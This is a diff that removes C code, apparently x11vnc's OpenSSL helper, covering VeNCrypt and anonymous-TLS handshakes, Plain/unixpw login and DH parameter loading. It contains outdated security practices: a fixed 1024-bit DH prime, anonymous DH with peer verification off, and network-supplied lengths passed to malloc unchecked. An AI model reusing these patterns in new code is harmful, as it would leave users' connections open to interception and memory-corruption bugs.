- rfbLog("openssl_init: SSL_CTX_load_verify_"
- "locations() failed.\n");
- sslerrexit();
- }
- }
-
- lvl = SSL_VERIFY_FAIL_IF_NO_PEER_CERT|SSL_VERIFY_PEER;
- if (ssl_crl == NULL) {
- SSL_CTX_set_verify(ctx, lvl, NULL);
- } else {
- SSL_CTX_set_verify(ctx, lvl, verify_callback);
- }
- if (strstr(file, "/sslverify-tmp-load-")) {
- /* temporary file */
- unlink(file);
- }
- } else {
- SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);
- }
-
- rfbLog("\n");
-}
-
-static int read_exact(int sock, char *buf, int len) {
- int n, fail = 0;
- if (sock < 0) {
- return 0;
- }
- while (len > 0) {
- n = read(sock, buf, len);
- if (n > 0) {
- buf += n;
- len -= n;
- } else if (n == 0) {
- fail = 1;
- break;
- } else if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
- usleep(10*1000);
- } else if (n < 0 && errno != EINTR) {
- fail = 1;
- break;
- }
- }
- if (fail) {
- return 0;
- } else {
- return 1;
- }
-}
-
-static int write_exact(int sock, char *buf, int len) {
- int n, fail = 0;
- if (sock < 0) {
- return 0;
- }
- while (len > 0) {
- n = write(sock, buf, len);
- if (n > 0) {
- buf += n;
- len -= n;
- } else if (n == 0) {
- fail = 1;
- break;
- } else if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
- usleep(10*1000);
- } else if (n < 0 && errno != EINTR) {
- fail = 1;
- break;
- }
- }
- if (fail) {
- return 0;
- } else {
- return 1;
- }
-}
-
-/* XXX not in rfb.h: */
-void rfbClientSendString(rfbClientPtr cl, char *reason);
-
-static int finish_auth(rfbClientPtr client, char *type) {
- int security_result, ret;
-
- ret = 0;
-
-if (getenv("X11VNC_DEBUG_TLSPLAIN")) fprintf(stderr, "finish_auth type=%s\n", type);
-
- if (!strcmp(type, "None")) {
- security_result = 0; /* success */
- if (write_exact(client->sock, (char *) &security_result, 4)) {
- ret = 1;
- }
- rfbLog("finish_auth: using auth 'None'\n");
- client->state = RFB_INITIALISATION;
-
- } else if (!strcmp(type, "Vnc")) {
- RAND_bytes(client->authChallenge, CHALLENGESIZE);
- if (write_exact(client->sock, (char *) &client->authChallenge, CHALLENGESIZE)) {
- ret = 1;
- }
- rfbLog("finish_auth: using auth 'Vnc', sent challenge.\n");
- client->state = RFB_AUTHENTICATION;
-
- } else if (!strcmp(type, "Plain")) {
- if (!unixpw) {
- rfbLog("finish_auth: *Plain not allowed outside unixpw mode.\n");
- ret = 0;
- } else {
- char *un, *pw;
- int unlen, pwlen;
-
-if (getenv("X11VNC_DEBUG_TLSPLAIN")) fprintf(stderr, "*Plain begin: onHold=%d client=%p unixpw_client=%p\n", client->onHold, (void *) client, (void *) unixpw_client);
-
- if (!read_exact(client->sock, (char *)&unlen, 4)) goto fail;
- unlen = Swap32IfLE(unlen);
-
-if (getenv("X11VNC_DEBUG_TLSPLAIN")) fprintf(stderr, "unlen: %d\n", unlen);
-
- if (!read_exact(client->sock, (char *)&pwlen, 4)) goto fail;
- pwlen = Swap32IfLE(pwlen);
-
-if (getenv("X11VNC_DEBUG_TLSPLAIN")) fprintf(stderr, "pwlen: %d\n", pwlen);
-
- un = (char *) malloc(unlen+1);
- memset(un, 0, unlen+1);
-
- pw = (char *) malloc(pwlen+2);
- memset(pw, 0, pwlen+2);
-
- if (!read_exact(client->sock, un, unlen)) goto fail;
- if (!read_exact(client->sock, pw, pwlen)) goto fail;
-
-if (getenv("X11VNC_DEBUG_TLSPLAIN")) fprintf(stderr, "*Plain: %d %d '%s' ... \n", unlen, pwlen, un);
- strcat(pw, "\n");
-
- if (unixpw_verify(un, pw)) {
- security_result = 0; /* success */
- if (write_exact(client->sock, (char *) &security_result, 4)) {
- ret = 1;
- unixpw_verify_screen(un, pw);
- }
- client->onHold = FALSE;
- client->state = RFB_INITIALISATION;
- }
- if (ret == 0) {
- rfbClientSendString(client, "unixpw failed");
- }
-
- memset(un, 0, unlen+1);
- memset(pw, 0, pwlen+2);
- free(un);
- free(pw);
- }
- } else {
- rfbLog("finish_auth: unknown sub-type: %s\n", type);
- ret = 0;
- }
-
- fail:
- return ret;
-}
-
-static int finish_vencrypt_auth(rfbClientPtr client, int subtype) {
-
- if (subtype == rfbVencryptTlsNone || subtype == rfbVencryptX509None) {
- return finish_auth(client, "None");
- } else if (subtype == rfbVencryptTlsVnc || subtype == rfbVencryptX509Vnc) {
- return finish_auth(client, "Vnc");
- } else if (subtype == rfbVencryptTlsPlain || subtype == rfbVencryptX509Plain) {
- return finish_auth(client, "Plain");
- } else {
- rfbLog("finish_vencrypt_auth: unknown sub-type: %d\n", subtype);
- return 0;
- }
-}
-
-
-static int add_anon_dh(void) {
- pid_t pid, pidw;
- char cnf[] = "/tmp/x11vnc-dh.XXXXXX";
- char *infile = NULL;
- int status, cnf_fd;
- DH *dh;
- BIO *bio;
- FILE *in;
- double ds;
- /*
- * These are dh parameters (prime, generator), not dh keys.
- * Evidently it is ok for them to be publicly known.
- * openssl dhparam -out dh.out 1024
- */
- char *fixed_dh_params =
-"-----BEGIN DH PARAMETERS-----\n"
-"MIGHAoGBAL28w69ZnLYBvp8R2OeqtAIms+oatY19iBL4WhGI/7H1OMmkJjIe+OHs\n"
-"PXoJfe5ucrnvno7Xm+HJZYa1jnPGQuWoa/VJKXdVjYdJVNzazJKM2daKKcQA4GDc\n"
-"msFS5DxLbzUR5jy1n12K3EcbvpyFqDYVTJJXm7NuNuiWRfz3wTozAgEC\n"
-"-----END DH PARAMETERS-----\n";
-
- if (dhparams_file != NULL) {
- infile = dhparams_file;
- rfbLog("add_anon_dh: using %s\n", dhparams_file);
- goto readin;
- }
-
- cnf_fd = mkstemp(cnf);
- if (cnf_fd < 0) {
- return 0;
- }
- infile = cnf;
-
- if (create_fresh_dhparams) {
-
- if (new_dh_params != NULL) {
- write(cnf_fd, new_dh_params, strlen(new_dh_params));
- close(cnf_fd);
- } else {
- char *exe = find_openssl_bin();
- struct stat sbuf;
-
- if (no_external_cmds || !cmd_ok("ssl")) {
- rfbLog("add_anon_dh: cannot run external commands.\n");
- return 0;
- }
-
- close(cnf_fd);
- if (exe == NULL) {
- return 0;
- }
- ds = dnow();
- pid = fork();
- if (pid < 0) {
- return 0;
- } else if (pid == 0) {
- int i;
- for (i=0; i<256; i++) {
- if (i == 2) continue;
- close(i);
- }
- /* rather slow at 1024 */
- execlp(exe, exe, "dhparam", "-out", cnf, "1024", (char *)0);
- exit(1);
- }
- pidw = waitpid(pid, &status, 0);
- if (pidw != pid) {
- return 0;
- }
- if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
- ;
- } else {
- return 0;
- }
- rfbLog("add_anon_dh: created new DH params in %.3f secs\n", dnow() - ds);
-
- if (stat(cnf, &sbuf) == 0 && sbuf.st_size > 0) {
- /* save it to reuse during our process's lifetime: */
- int d = open(cnf, O_RDONLY);
- if (d >= 0) {
- int n, len = sbuf.st_size;
- new_dh_params = (char *) calloc(len+1, 1);
- n = read(d, new_dh_params, len);
- close(d);
- if (n != len) {
- free(new_dh_params);
- new_dh_params = NULL;
- } else if (dhret != NULL) {
- d = open(dhret, O_WRONLY);
- if (d >= 0) {
- write(d, new_dh_params, strlen(new_dh_params));
- close(d);
- }
- }
- }
- }
- }
- } else {
- write(cnf_fd, fixed_dh_params, strlen(fixed_dh_params));
- close(cnf_fd);
- }
-
- readin:
-
- ds = dnow();
- in = fopen(infile, "r");
-
- if (in == NULL) {
- rfbLogPerror("fopen");
- unlink(cnf);
- return 0;
- }
- bio = BIO_new_fp(in, BIO_CLOSE|BIO_FP_TEXT);
- if (! bio) {
- rfbLog("openssl_init: BIO_new_fp() failed.\n");
- unlink(cnf);
- return 0;
- }
- dh = PEM_read_bio_DHparams(bio, NULL, NULL, NULL);
- if (dh == NULL) {
- rfbLog("openssl_init: PEM_read_bio_DHparams() failed.\n");
- unlink(cnf);
- BIO_free(bio);
- return 0;
- }
- BIO_free(bio);
- SSL_CTX_set_tmp_dh(ctx, dh);
- rfbLog("loaded Diffie Hellman %d bits, %.3fs\n", 8*DH_size(dh), dnow()-ds);
- DH_free(dh);
-
- unlink(cnf);
- return 1;
-}
-
-static int switch_to_anon_dh(void) {
- long mode;
-
- rfbLog("Using Anonymous Diffie-Hellman mode.\n");
- rfbLog("WARNING: Anonymous Diffie-Hellman uses encryption but is\n");
- rfbLog("WARNING: susceptible to a Man-In-The-Middle attack.\n");
- if (ssl_client_mode) {
- ctx = SSL_CTX_new( SSLv23_client_method() );
- } else {
- ctx = SSL_CTX_new( SSLv23_server_method() );
- }
- if (ctx == NULL) {
- return 0;
- }
- if (ssl_client_mode) {
- return 1;
- }
- if (!SSL_CTX_set_cipher_list(ctx, "ADH:@STRENGTH")) {
- return 0;
- }
- if (!add_anon_dh()) {
- return 0;
- }
-
- mode = 0;
- mode |= SSL_MODE_ENABLE_PARTIAL_WRITE;
- mode |= SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER;
- SSL_CTX_set_mode(ctx, mode);
-
- SSL_CTX_set_session_cache_mode(ctx, SSL_SESS_CACHE_BOTH);
- SSL_CTX_set_timeout(ctx, 300);
- SSL_CTX_set_default_passwd_cb(ctx, pem_passwd_callback);
- SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);
-
- return 1;
-}
-
-static int anontls_dialog(int s_in, int s_out) {
-
- if (s_in || s_out) {}
- anontls_selected = 1;
-
- if (!switch_to_anon_dh()) {
- rfbLog("anontls: Anonymous Diffie-Hellman failed.\n");
- return 0;
- }
-
- /* continue with SSL/TLS */
- return 1;
-}
-
-/*
- * Using spec:
- * http://www.mail-archive.com/qemu-devel@nongnu.org/msg08681.html
- */
-static int vencrypt_dialog(int s_in, int s_out) {
- char buf[256], buf2[256];
- int subtypes[16];
- int n, i, ival, ok, nsubtypes = 0;
-
- vencrypt_selected = 0;
-
- /* send version 0.2 */
- buf[0] = 0;
- buf[1] = 2;
-
- if (!write_exact(s_out, buf, 2)) {
- close(s_in); close(s_out);
- return 0;
- }
-
- /* read client version 0.2 */
- memset(buf, 0, sizeof(buf));
- if (!read_exact(s_in, buf, 2)) {
- close(s_in); close(s_out);
- return 0;
- }
- rfbLog("vencrypt: received %d.%d client version.\n", (int) buf[0], (int) buf[1]);
-
- /* close 0.0 */
- if (buf[0] == 0 && buf[1] == 0) {
- rfbLog("vencrypt: received 0.0 version, closing connection.\n");
- close(s_in); close(s_out);
- return 0;
- }
-
- /* accept only 0.2 */
- if (buf[0] != 0 || buf[1] != 2) {
- rfbLog("vencrypt: unsupported VeNCrypt version, closing connection.\n");
- buf[0] = (char) 255;
- write_exact(s_out, buf, 1);
- close(s_in); close(s_out);
- return 0;
- }
-
- /* tell them OK */
- buf[0] = 0;
- if (!write_exact(s_out, buf, 1)) {
- close(s_in); close(s_out);
- return 0;
- }
-
- if (getenv("X11VNC_ENABLE_VENCRYPT_PLAIN_LOGIN")) {
- vencrypt_enable_plain_login = atoi(getenv("X11VNC_ENABLE_VENCRYPT_PLAIN_LOGIN"));
- }
-
- /* load our list of sub-types: */
- n = 0;
- if (!ssl_verify && vencrypt_kx != VENCRYPT_NODH) {
- if (screen->authPasswdData != NULL) {
- subtypes[n++] = rfbVencryptTlsVnc;
- } else {
- if (vencrypt_enable_plain_login && unixpw) {
- subtypes[n++] = rfbVencryptTlsPlain;
- } else {
- subtypes[n++] = rfbVencryptTlsNone;
- }
- }
- }
- if (vencrypt_kx != VENCRYPT_NOX509) {
- if (screen->authPasswdData != NULL) {
- subtypes[n++] = rfbVencryptX509Vnc;
- } else {
- if (vencrypt_enable_plain_login && unixpw) {
- subtypes[n++] = rfbVencryptX509Plain;
- } else {
- subtypes[n++] = rfbVencryptX509None;
- }
- }
- }
-
- nsubtypes = n;
- for (i = 0; i < nsubtypes; i++) {
- ((uint32_t *)buf)[i] = Swap32IfLE(subtypes[i]);
- }
-
- /* send number first: */
- buf2[0] = (char) nsubtypes;
- if (!write_exact(s_out, buf2, 1)) {
- close(s_in); close(s_out);
- return 0;
- }
- /* and now the list: */
- if (!write_exact(s_out, buf, 4*n)) {
- close(s_in); close(s_out);
- return 0;
- }
-
- /* read client's selection: */
- if (!read_exact(s_in, (char *)&ival, 4)) {
- close(s_in); close(s_out);
- return 0;
- }
- ival = Swap32IfLE(ival);
-
- /* zero means no dice: */
- if (ival == 0) {
- rfbLog("vencrypt: client selected no sub-type, closing connection.\n");
- close(s_in); close(s_out);
- return 0;
- }
-
- /* check if he selected a valid one: */
- ok = 0;
- for (i = 0; i < nsubtypes; i++) {
- if (ival == subtypes[i]) {
- ok = 1;
- }
- }
-
- if (!ok) {
- rfbLog("vencrypt: client selected invalid sub-type: %d\n", ival);
- close(s_in); close(s_out);
- return 0;
- } else {
- char *st = "unknown!!";
- if (ival == rfbVencryptTlsNone) st = "rfbVencryptTlsNone";
- if (ival == rfbVencryptTlsVnc) st = "rfbVencryptTlsVnc";
- if (ival == rfbVencryptTlsPlain) st = "rfbVencryptTlsPlain";
- if (ival == rfbVencryptX509None) st = "rfbVencryptX509None";
- if (ival == rfbVencryptX509Vnc) st = "rfbVencryptX509Vnc";
- if (ival == rfbVencryptX509Plain) st = "rfbVencryptX509Plain";
- rfbLog("vencrypt: client selected sub-type: %d (%s)\n", ival, st);
- }
-
- vencrypt_selected = ival;
-
- /* not documented in spec, send OK: */
- buf[0] = 1;
- if (!write_exact(s_out, buf, 1)) {
- close(s_in); close(s_out);
- return 0;
- }
-
- if (vencrypt_selected == rfbVencryptTlsNone ||
- vencrypt_selected == rfbVencryptTlsVnc ||
- vencrypt_selected == rfbVencryptTlsPlain) {
- /* these modes are Anonymous Diffie-Hellman */
- if (!switch_to_anon_dh()) {
- rfbLog("vencrypt: Anonymous Diffie-Hellman failed.\n");
- return 0;
- }
- }
-
- /* continue with SSL/TLS */
- return 1;
-}
-
-static int check_vnc_tls_mode(int s_in, int s_out, double last_https) {
- double waited = 0.0, waitmax = 1.4, dt = 0.01, start = dnow();
- struct timeval tv;
- int input = 0, i, n, ok;
- int major, minor, sectype = -1;
- char *proto = "RFB 003.008\n";
- char *stype = "unknown";
- char buf[256];
-
- vencrypt_selected = 0;
- anontls_selected = 0;
-
- if (vencrypt_mode == VENCRYPT_NONE && anontls_mode == ANONTLS_NONE) {
- /* only normal SSL */
- return 1;
- }
- if (ssl_client_mode) {
- if (vencrypt_mode == VENCRYPT_FORCE || anontls_mode == ANONTLS_FORCE) {
- rfbLog("check_vnc_tls_mode: VENCRYPT_FORCE/ANONTLS_FORCE in client\n");
- rfbLog("check_vnc_tls_mode: connect mode.\n");
- /* this is OK, continue on below for dialog. */
- } else {
- /* otherwise we must assume normal SSL (we send client hello) */
- return 1;
- }
- }
- if (ssl_verify && vencrypt_mode != VENCRYPT_FORCE && anontls_mode == ANONTLS_FORCE) {
- rfbLog("check_vnc_tls_mode: Cannot use ANONTLS_FORCE with -sslverify (Anon DH only)\n");
- /* fallback to normal SSL */
- return 1;
- }
-
- if (last_https > 0.0) {
- double now = dnow();
- if (now < last_https + 5.0) {
- waitmax = 20.0;
- } else if (now < last_https + 15.0) {
- waitmax = 10.0;
- } else if (now < last_https + 30.0) {
- waitmax = 5.0;
- } else if (now < last_https + 60.0) {
- waitmax = 2.5;
- }
- }
-
- while (waited < waitmax) {
- fd_set rfds;
- FD_ZERO(&rfds);
- FD_SET(s_in, &rfds);
- tv.tv_sec = 0;
- tv.tv_usec = 0;
- select(s_in+1, &rfds, NULL, NULL, &tv);
- if (FD_ISSET(s_in, &rfds)) {
- input = 1;
- break;
- }
- usleep((int) (1000 * 1000 * dt));
- waited += dt;
- }
- rfbLog("check_vnc_tls_mode: waited: %f / %.2f input: %s\n",
- dnow() - start, waitmax, input ? "SSL Handshake" : "(future) RFB Handshake");
-
- if (input) {
- /* got SSL client hello, can only assume normal SSL */
- if (vencrypt_mode == VENCRYPT_FORCE || anontls_mode == ANONTLS_FORCE) {
- rfbLog("check_vnc_tls_mode: VENCRYPT_FORCE/ANONTLS_FORCE prevents normal SSL\n");
- return 0;
- }
- return 1;
- }
-
- /* send RFB 003.008 -- there is no turning back from this point... */
- if (!write_exact(s_out, proto, strlen(proto))) {
- close(s_in); close(s_out);
- return 0;
- }
-
- memset(buf, 0, sizeof(buf));
- if (!read_exact(s_in, buf, 12)) {
- close(s_in); close(s_out);
- return 0;
- }
-
- if (sscanf(buf, "RFB %03d.%03d\n", &major, &minor) != 2) {
- int i;
- rfbLog("check_vnc_tls_mode: abnormal handshake: '%s'\nbytes: ", buf);
- for (i=0; i < 12; i++) {
- fprintf(stderr, "%d.", (unsigned char) buf[i]);
- }
- fprintf(stderr, "\n");
- close(s_in); close(s_out);
- return 0;
- }
- rfbLog("check_vnc_tls_mode: version: %d.%d\n", major, minor);
- if (major != 3 || minor < 8) {
- rfbLog("check_vnc_tls_mode: invalid version: '%s'\n", buf);
- close(s_in); close(s_out);
- return 0;
- }
-
- n = 1;
- if (vencrypt_mode == VENCRYPT_FORCE) {
- buf[n++] = rfbSecTypeVencrypt;
- } else if (anontls_mode == ANONTLS_FORCE && !ssl_verify) {
- buf[n++] = rfbSecTypeAnonTls;
- } else if (vencrypt_mode == VENCRYPT_SOLE) {
- buf[n++] = rfbSecTypeVencrypt;
- } else if (anontls_mode == ANONTLS_SOLE && !ssl_verify) {
- buf[n++] = rfbSecTypeAnonTls;
- } else {
- if (vencrypt_mode == VENCRYPT_SUPPORT) {
- buf[n++] = rfbSecTypeVencrypt;
- }
- if (anontls_mode == ANONTLS_SUPPORT && !ssl_verify) {
- buf[n++] = rfbSecTypeAnonTls;
- }
- }
-
- n--;
- buf[0] = (char) n;
- if (!write_exact(s_out, buf, n+1)) {
- close(s_in); close(s_out);
- return 0;
- }
- if (0) fprintf(stderr, "wrote[%d] %d %d %d\n", n, buf[0], buf[1], buf[2]);
-
- buf[0] = 0;
- if (!read_exact(s_in, buf, 1)) {
- close(s_in); close(s_out);
- return 0;
- }
-
- if (buf[0] == rfbSecTypeVencrypt) stype = "VeNCrypt";
- if (buf[0] == rfbSecTypeAnonTls) stype = "ANONTLS";
-
- rfbLog("check_vnc_tls_mode: reply: %d (%s)\n", (int) buf[0], stype);
-
- ok = 0;
- for (i=1; i < n+1; i++) {
- if (buf[0] == buf[i]) {
- ok = 1;
- }
- }
- if (!ok) {
- char *msg = "check_vnc_tls_mode: invalid security-type";
- int len = strlen(msg);
- rfbLog("%s: %d\n", msg, (int) buf[0]);
- ((uint32_t *)buf)[0] = Swap32IfLE(len);
- write_exact(s_out, buf, 4);
- write_exact(s_out, msg, strlen(msg));
- close(s_in); close(s_out);
- return 0;
- }
-
- sectype = (int) buf[0];
-
- if (sectype == rfbSecTypeVencrypt) {
- return vencrypt_dialog(s_in, s_out);
- } else if (sectype == rfbSecTypeAnonTls) {
- return anontls_dialog(s_in, s_out);
- } else {
- return 0;
- }
-}
-
-static void pr_ssl_info(int verb) {
- SSL_CIPHER *c;
- SSL_SESSION *s;
- char *proto = "unknown";
-
- if (verb) {}
-
- if (ssl == NULL) {
- return;
- }
- c = SSL_get_current_cipher(ssl);
- s = SSL_get_session(ssl);
-
- if (s == NULL) {
- proto = "nosession";
- } else if (s->ssl_version == SSL2_VERSION) {
- proto = "SSLv2";
- } else if (s->ssl_version == SSL3_VERSION) {
- proto = "SSLv3";
- } else if (s->ssl_version == TLS1_VERSION) {
- proto = "TLSv1";
- }
- if (c != NULL) {
- rfbLog("SSL: ssl_helper[%d]: Cipher: %s %s Proto: %s\n", getpid(),
- SSL_CIPHER_get_version(c), SSL_CIPHER_get_name(c), proto);
- } else {
- rfbLog("SSL: ssl_helper[%d]: Proto: %s\n", getpid(),
- proto);
- }
-}
-
-static void ssl_timeout (int sig) {
- int i;
- rfbLog("sig: %d, ssl_init[%d] timed out.\n", sig, getpid());
- rfbLog("To increase the SSL initialization timeout use, e.g.:\n");
- rfbLog(" -env SSL_INIT_TIMEOUT=120 (for 120 seconds)\n");
- for (i=0; i < 256; i++) {
- close(i);
- }
- exit(1);
-}
-
-static int ssl_init(int s_in, int s_out, int skip_vnc_tls, double last_https) {
- unsigned char *sid = (unsigned char *) "x11vnc SID";
- char *name = NULL;
- int peerport = 0;
- int db = 0, rc, err;
- int ssock = s_in;
- double start = dnow();
- int timeout = 20;
-
- if (enc_str != NULL) {
- return 1;
- }
- if (getenv("SSL_DEBUG")) {
- db = atoi(getenv("SSL_DEBUG"));
- }
- usleep(100 * 1000);
- if (getenv("SSL_INIT_TIMEOUT")) {
- timeout = atoi(getenv("SSL_INIT_TIMEOUT"));
- } else if (client_connect != NULL && strstr(client_connect, "repeater")) {
- rfbLog("SSL: ssl_init[%d]: detected 'repeater' in connect string.\n", getpid());
- rfbLog("SSL: setting timeout to 1 hour: -env SSL_INIT_TIMEOUT=3600\n");
- rfbLog("SSL: use that option to set a different timeout value,\n");
- rfbLog("SSL: however note that with Windows UltraVNC repeater it\n");
- rfbLog("SSL: may timeout before your setting due to other reasons.\n");
- timeout = 3600;
- }
-
- if (skip_vnc_tls) {
- rfbLog("SSL: ssl_helper[%d]: HTTPS mode, skipping check_vnc_tls_mode()\n",
- getpid());
- } else if (!check_vnc_tls_mode(s_in, s_out, last_https)) {
- return 0;
- }
- rfbLog("SSL: ssl_init[%d]: %d/%d initialization timeout: %d secs.\n",
- getpid(), s_in, s_out, timeout);
-
- ssl = SSL_new(ctx);
- if (ssl == NULL) {
- fprintf(stderr, "SSL_new failed\n");
- return 0;
- }
- if (db > 1) fprintf(stderr, "ssl_init: 1\n");
-
- SSL_set_session_id_context(ssl, sid, strlen((char *)sid));
-
- if (s_in == s_out) {
- if (! SSL_set_fd(ssl, ssock)) {
- fprintf(stderr, "SSL_set_fd failed\n");
- return 0;
- }
- } else {
- if (! SSL_set_rfd(ssl, s_in)) {
- fprintf(stderr, "SSL_set_rfd failed\n");
- return 0;
- }
- if (! SSL_set_wfd(ssl, s_out)) {
- fprintf(stderr, "SSL_set_wfd failed\n");
- return 0;
- }
- }
- if (db > 1) fprintf(stderr, "ssl_init: 2\n");
-
- if (ssl_client_mode) {
- SSL_set_connect_state(ssl);
- } else {
- SSL_set_accept_state(ssl);
- }
-
- if (db > 1) fprintf(stderr, "ssl_init: 3\n");
-
- name = get_remote_host(ssock);
- peerport = get_remote_port(ssock);
-
- if (!strcmp(name, "0.0.0.0") && openssl_last_ip != NULL) {
- name = strdup(openssl_last_ip);
- }
-
- if (db > 1) fprintf(stderr, "ssl_init: 4\n");
-
- while (1) {
-
- signal(SIGALRM, ssl_timeout);
- alarm(timeout);
-
- if (ssl_client_mode) {
- if (db) fprintf(stderr, "calling SSL_connect...\n");
- rc = SSL_connect(ssl);
- } else {
- if (db) fprintf(stderr, "calling SSL_accept...\n");
- rc = SSL_accept(ssl);
- }
- err = SSL_get_error(ssl, rc);
-
- alarm(0);
- signal(SIGALRM, SIG_DFL);
-
- if (ssl_client_mode) {
- if (db) fprintf(stderr, "SSL_connect %d/%d\n", rc, err);
- } else {
- if (db) fprintf(stderr, "SSL_accept %d/%d\n", rc, err);
- }
- if (err == SSL_ERROR_NONE) {
- break;
- } else if (err == SSL_ERROR_WANT_READ) {
-
- if (db) fprintf(stderr, "got SSL_ERROR_WANT_READ\n");
- rfbLog("SSL: ssl_helper[%d]: %s() failed for: %s:%d 1\n",
- getpid(), ssl_client_mode ? "SSL_connect" : "SSL_accept", name, peerport);
- pr_ssl_info(1);
- return 0;
-
- } else if (err == SSL_ERROR_WANT_WRITE) {
-
- if (db) fprintf(stderr, "got SSL_ERROR_WANT_WRITE\n");
- rfbLog("SSL: ssl_helper[%d]: %s() failed for: %s:%d 2\n",
- getpid(), ssl_client_mode ? "SSL_connect" : "SSL_accept", name, peerport);
- pr_ssl_info(1);
- return 0;
-
- } else if (err == SSL_ERROR_SYSCALL) {
-
- if (db) fprintf(stderr, "got SSL_ERROR_SYSCALL\n");
- rfbLog("SSL: ssl_helper[%d]: %s() failed for: %s:%d 3\n",
- getpid(), ssl_client_mode ? "SSL_connect" : "SSL_accept", name, peerport);
- pr_ssl_info(1);
- return 0;
-
- } else if (err == SSL_ERROR_ZERO_RETURN) {
-
- if (db) fprintf(stderr, "got SSL_ERROR_ZERO_RETURN\n");
- rfbLog("SSL: ssl_helper[%d]: %s() failed for: %s:%d 4\n",
- getpid(), ssl_client_mode ? "SSL_connect" : "SSL_accept", name, peerport);
- pr_ssl_info(1);
- return 0;
-
- } else if (rc < 0) {
- unsigned long err;
- int cnt = 0;
-
- rfbLog("SSL: ssl_helper[%d]: %s() *FATAL: %d SSL FAILED\n",
- getpid(), ssl_client_mode ? "SSL_connect" : "SSL_accept", rc);
- while ((err = ERR_get_error()) != 0) {
- rfbLog("SSL: %s\n", ERR_error_string(err, NULL));
- if (cnt++ > 100) {
- break;
- }
- }
- pr_ssl_info(1);
- return 0;
-
- } else if (dnow() > start + 3.0) {
-
- rfbLog("SSL: ssl_helper[%d]: timeout looping %s() "
- "fatal.\n", getpid(), ssl_client_mode ? "SSL_connect" : "SSL_accept");
- pr_ssl_info(1);
- return 0;
-
- } else {
- BIO *bio = SSL_get_rbio(ssl);
- if (bio == NULL) {
- rfbLog("SSL: ssl_helper[%d]: ssl BIO is null. "
- "fatal.\n", getpid());
- pr_ssl_info(1);
- return 0;
- }
- if (BIO_eof(bio)) {
- rfbLog("SSL: ssl_helper[%d]: ssl BIO is EOF. "
- "fatal.\n", getpid());
- pr_ssl_info(1);
- return 0;
- }
- }
- usleep(10 * 1000);
- }
-
- if (ssl_client_mode) {
- rfbLog("SSL: ssl_helper[%d]: SSL_connect() succeeded for: %s:%d\n", getpid(), name, peerport);
- } else {
- rfbLog("SSL: ssl_helper[%d]: SSL_accept() succeeded for: %s:%d\n", getpid(), name, peerport);
- }
-
- pr_ssl_info(0);
-
- if (SSL_get_verify_result(ssl) == X509_V_OK) {
- X509 *x;
- FILE *cr = NULL;
- if (certret != NULL) {
- cr = fopen(certret, "w");
- }
-
- x = SSL_get_peer_certificate(ssl);
- if (x == NULL) {
- rfbLog("SSL: ssl_helper[%d]: accepted client %s x509 peer cert is null\n", getpid(), name);
- if (cr != NULL) {
- fprintf(cr, "NOCERT\n");
- fclose(cr);
- }
- } else {
- rfbLog("SSL: ssl_helper[%d]: accepted client %s x509 cert is:\n", getpid(), name);
-#if LIBVNCSERVER_HAVE_X509_PRINT_EX_FP
- X509_print_ex_fp(stderr, x, 0, XN_FLAG_MULTILINE);
-#endif
- if (cr != NULL) {
-#if LIBVNCSERVER_HAVE_X509_PRINT_EX_FP
- X509_print_ex_fp(cr, x, 0, XN_FLAG_MULTILINE);
-#else
- rfbLog("** not compiled with libssl X509_print_ex_fp() function **\n");
- if (users_list && strstr(users_list, "sslpeer=")) {
- rfbLog("** -users sslpeer= will not work! **\n");
- }
-#endif
- fclose(cr);
- }
- }
- }
- free(name);
-
- return 1;
-}
-
-static void symmetric_encryption_xfer(int csock, int s_in, int s_out);
-
-static void ssl_xfer(int csock, int s_in, int s_out, int is_https) {
- int dbxfer = 0, db = 0, check_pending, fdmax, nfd, n, i, err;
- char cbuf[ABSIZE], sbuf[ABSIZE];
- int cptr, sptr, c_rd, c_wr, s_rd, s_wr;
- fd_set rd, wr;
- struct timeval tv;
- int ssock, cnt = 0, ndata = 0;
-
- /*
- * we want to switch to a longer timeout for long term VNC
- * connections (in case the network is not working for periods of
- * time), but we also want the timeout shorter at the beginning
- * in case the client went away.
- */
- double start, now;
- int tv_https_early = 60;
- int tv_https_later = 20;
- int tv_vnc_early = 40;
- int tv_vnc_later = 43200; /* was 300, stunnel: 43200 */
- int tv_cutover = 70;
- int tv_closing = 60;
- int tv_use;
-
- if (dbxfer) {
- raw_xfer(csock, s_in, s_out);
- return;
- }
- if (enc_str != NULL) {
- if (!strcmp(enc_str, "none")) {
- usleep(250*1000);
- rfbLog("doing '-enc none' raw transfer (no encryption)\n");
- raw_xfer(csock, s_in, s_out);
- } else {
- symmetric_encryption_xfer(csock, s_in, s_out);
- }
- return;
- }
-
- if (getenv("SSL_DEBUG")) {
- db = atoi(getenv("SSL_DEBUG"));
- }
-
- if (db) fprintf(stderr, "ssl_xfer begin\n");
-
- start = dnow();
- if (is_https) {
- tv_use = tv_https_early;
- } else {
- tv_use = tv_vnc_early;
- }
-
-
- /*
- * csock: clear text socket with libvncserver. "C"
- * ssock: ssl data socket with remote vnc viewer. "S"
- *
- * to cover inetd mode, we have s_in and s_out, but in non-inetd
- * mode they both ssock.
- *
- * cbuf[] is data from csock that we have read but not passed on to ssl
- * sbuf[] is data from ssl that we have read but not passed on to csock
- */
- for (i=0; i<ABSIZE; i++) {
- cbuf[i] = '\0';
- sbuf[i] = '\0';
- }
-
- if (s_out > s_in) {
- ssock = s_out;
- } else {
- ssock = s_in;
- }
-
- if (csock > ssock) {
- fdmax = csock;
- } else {
- fdmax = ssock;
- }
-
- c_rd = 1; /* clear text (libvncserver) socket open for reading */
- c_wr = 1; /* clear text (libvncserver) socket open for writing */
- s_rd = 1; /* ssl data (remote client) socket open for reading */
- s_wr = 1; /* ssl data (remote client) socket open for writing */
-
- cptr = 0; /* offsets into ABSIZE buffers */
- sptr = 0;
-
- if (vencrypt_selected > 0 || anontls_selected > 0) {
- char tmp[16];
- /* read and discard the extra RFB version */
- memset(tmp, 0, sizeof(tmp));
- read(csock, tmp, 12);
- if (0) fprintf(stderr, "extra: %s\n", tmp);
- }
-
- while (1) {
- int c_to_s, s_to_c, closing;
-
- if ( s_wr && (c_rd || cptr > 0) ) {
- /*
- * S is writable and
- * C is readable or some cbuf data remaining
- */
- c_to_s = 1;
- } else {
- c_to_s = 0;
- }
-
